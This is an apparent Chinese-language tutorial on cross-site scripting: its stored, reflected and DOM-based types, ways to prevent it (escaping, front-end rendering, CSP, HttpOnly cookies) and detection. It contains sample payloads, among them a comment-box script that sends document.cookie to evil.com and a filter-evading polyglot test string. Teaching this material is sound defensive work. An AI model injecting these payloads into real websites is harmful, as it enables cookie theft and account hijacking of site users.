XSS攻击

参考：
https://juejin.cn/post/6844903685122703367
https://juejin.cn/post/6844903638532358151

概念

Cross-Site Scripting（跨站脚本攻击）简称 XSS，是一种代码注入攻击。攻击者通过在目标网站当中注入恶意脚本，使之在用户的浏览器上运行。利用这些恶意脚本，攻击者可以获取用户的敏感信息如 Cookie、sessionID 等内容，进而危害数据安全。

为了和 CSS 区分，这里把攻击的第一个字母改成了 X，于是叫做 XSS。XSS 的本质是恶意代码未经过滤，与网站正常的代码混在一起，浏览器无法分辨哪些脚本是可信的，导致恶意脚本被执行。由于直接在用户的终端执行，恶意代码能够直接获取用户的信息，或者利用这些信息冒充用户向网站发起攻击者定义的请求。

在部分情况下，由于输入的限制，注入的恶意脚本比较短。但可以通过引入外部的脚本，并由浏览器执行来完成比较复杂的攻击策略。不仅是业务上用户生产的内容可以进行注入，包括 URL 上参数等都可以是攻击的来源。因此在处理输入时，以下内容都不可信：

• 来自用户生成的内容（UGC）
• 来自第三方的链接
• URL 参数
• POST 参数
• Referer（可能来自不可信的来源）
• Cookie（可能来自其他子域注入）

分类

根据攻击的来源，XSS 攻击可分为存储型、反射型和 DOM 型三种。

分类	存储区*	插入点*
存储型	服务器存储	HTML
反射型	URL	HTML
DOM 型	浏览器内存	前端 JavaScript

• 存储区：恶意代码存放的位置
• 插入点：由谁取得恶意代码并插入到网页上

Stored XSS

• 原理：攻击者将恶意脚本存储到服务器数据库、文件或其他持久化介质，其他用户访问相关页面会自动执行恶意脚本
• 触发条件：受害者访问了被注入脚本的页面
• 特点：
  • 危害大，影响持久
  • 可影响所有访问该数据的用户
• 场景：常见于带有用户保存数据的网站功能，如论坛发帖、评论、用户私信、个人简介等
• 例子：比如提交 <script>fetch('https://evil.com?cookie='+document.cookie)</script> 到评论区，其他用户浏览评论时中招

Reflected XSS

• 原理：攻击者把恶意脚本通过 URL 参数等立即“反射”到页面响应中执行
• 触发条件：受害者点击带恶意参数的链接，服务端未进行输出转义，直接拼到 HTML 返回。由于需要用户主动打开恶意的 URL 才能攻击，攻击者往往会结合多种手段诱导用户点击。POST 方法也可以触发反射型 XSS，但是触发条件比较苛刻（需要构造表单提交页面，并引导用户点击），所以非常少见
• 特点：
  • 不会长期存储在服务器
  • 依赖用户点击或请求
• 场景：常见于通过 URL 传递参数的功能，如网站搜索、跳转等
• 例子：比如构造 https://example.com/search?q=<script>alert(1)</script> 样式的 URL，如果服务器直接将 q 输出到 HTML 中，就会执行弹窗

反射型 XSS 跟存储型 XSS 的区别在于，存储型 XSS 的恶意代码存在数据库里，反射型 XSS 的恶意代码存在 URL 里。

DOM-based XSS

• 原理：前端 JavaScript 代码有漏洞，浏览器在处理 DOM 时直接把用户输入拼接到可执行位置，导致执行恶意脚本
• 触发条件：无需经过服务器拼接 HTML，纯前端脚本操作引发
• 特点：
  • 漏洞点在前端 JavaScript 代码
  • 数据流：用户输入 → 前端 JS → DOM API → 执行
• 场景：常见于需要用户输入的页面
• 例子：在 https://example.com/#<script>alert(1)</script> 网站执行document.body.innerHTML = location.hash.substring(1);

DOM 型 XSS 跟另外两种 XSS 的区别在于，DOM 型 XSS 攻击中取出和执行恶意代码由浏览器完成，属于前端 JavaScript 自身的安全漏洞，而其他两种 XSS 都属于服务端的安全漏洞。

防范

XSS 攻击有两大要素必不可少：

• 攻击者提交恶意代码
• 浏览器执行恶意代码

输入过滤

在用户提交时，由前端过滤输入，然后提交到后端。这样做不可行，因为一旦攻击者绕过前端过滤，改为直接构造请求就可以提交恶意代码。

后端在写入数据库前对输入进行过滤，然后把“安全的”内容返回给前端，这样做不完全可行。比如，正常输入了 5 < 7 这个内容，在写入数据库前被转义变成了 5 < 7。但问题是，并不确定内容要输出到哪里：

• 用户的输入内容可能同时提供给前端和客户端，如果没有进行反转客户端显示内容就变成了乱码
• 在前端中，不同的位置所需要的编码也不同
  • 当 5 < 7 作为 HTML 拼接页面时可以正常显示
  • 当 5 < 7 通过 Ajax 值返回，然后赋值给 JavaScript 的变量时，前端得到的字符串就是转义后的字符。这个内容不能直接用于 Vue 等模板的展示，也不能直接用于内容长度计算

所以，输入侧过滤能够在某些情况下解决特定的 XSS 问题，但是会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。当然，对于明确的输入类型，例如数字、URL、电话号码、邮件地址等内容，进行输入过滤还是必要的。

既然输入过滤并非完全可靠，就要通过“防止浏览器执行恶意代码”来防范 XSS 攻击，可分为两类：

• 防止 HTML 中出现注入
• 防止 JavaScript 执行时执行恶意代码

预防存储型和反射型

存储型和反射型 XSS 攻击都是在服务端取出恶意代码后插入到响应 HTML，攻击者刻意编写的“数据”被内嵌到“代码”中，被浏览器所执行。预防这种漏洞，有两种常见做法：

• 改成纯前端渲染，把代码和数据分隔开
• 对 HTML 做充分转义

纯前端渲染

纯前端渲染的过程：

• 浏览器先加载一个静态 HTML 文件，此 HTML 不包含任何跟业务相关的数据
• 然后浏览器执行 HTML 中的 JavaScript
• JavaScript 通过 Ajax 加载业务数据，调用 DOM API 更新到页面上

在纯前端渲染中，我们会明确的告诉浏览器：下面要设置的内容是文本（.innerText），还是属性（.setAttribute），还是样式（.style）等等。浏览器不会被轻易的被欺骗，执行预期外的代码。但是纯前端渲染还需注意避免 DOM 型 XSS 漏洞。

在很多内部管理系统中，采用纯前端渲染是非常合适的。但对于性能要求高或者有 SEO 需求的页面，仍然要面对拼接 HTML 的问题。

转义 HTML

如果拼接 HTML 是必要的，就需要采用合适的转义库来对 HTML 模板各处插入点进行充分的转义。

常用的模板引擎，比如 doT.js、ejs、FreeMarker 等等，对于 HTML 转义通常只有一个规则，就是把 & < > " ' / 这几个字符转义掉，虽然能起到一定的 XSS 防护作用，但并不完善：

XSS 安全漏洞	简单转义是否有防护作用
HTML 标签文字内容	有
HTML 属性值	有
CSS 内联样式	无
内联 JavaScript	无
内联 JSON	无
跳转链接	无

要完善 XSS 防护措施，要使用更完善更细致的转义策略。而且 HTML 编码是十分复杂的，在不同的上下文要使用相应的转义规则。

预防 DOM 型

DOM 型 XSS 攻击，实际上就是前端 JavaScript 代码本身不严谨，把不可信的数据当作代码执行了。

在使用 .innerHTML、.outerHTML、document.write() 时要特别小心，不要把不可信的数据作为 HTML 插到页面上，而应尽量使用 .textContent、.setAttribute() 等属性。如果用 Vue/React 技术栈，尽量不用 v-html/dangerouslySetInnerHTML 等，在前端 render 阶段避免 innerHTML、outerHTML 的 XSS 隐患。

DOM 中的内联事件监听器，比如 location、onclick、onerror、onload、onmouseover ，<a> 标签的 href 属性，JavaScript 里的 eval()、setTimeout()、setInterval() 等函数，都能把字符串作为代码运行。如果把不可信的数据拼接到字符串中并传递给这些 API，就很容易产生安全隐患。

其他防范措施

严格 CSP

严格的 CSP（Content Security Policy） 在 XSS 的防范中可以起到以下的作用：

• 禁止加载外域代码，防止复杂的攻击逻辑。
• 禁止外域提交，网站被攻击后，用户的数据不会泄露到外域。
• 禁止内联脚本执行（规则较严格，目前发现 GitHub 使用）。
• 禁止未授权的脚本执行（新特性，Google Map 移动版在使用）。
• 合理使用上报可以及时发现 XSS，利于尽快修复问题。

控制输入内容长度

对于不受信任的输入，都应该限定一个合理的长度。虽然无法完全防止 XSS 发生，但可以增加 XSS 攻击的难度。

Cookie HttpOnly

设置 Cookie 时使用 HttpOnly 属性，禁止 JavaScript 读取敏感 Cookie，攻击者完成 XSS 注入后也无法窃取 Cookie。

检测

有两种方法检测 XSS 漏洞：

• 使用通用 XSS 攻击字符串手动检测 XSS 漏洞

  jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

  上面的字符串能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文 XSS 漏洞，也包括 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞，并且能绕过一些 XSS 过滤器。

• 使用扫描工具自动检测 XSS 漏洞
  如 Arachni、Mozilla HTTP Observatory、w3af 等工具。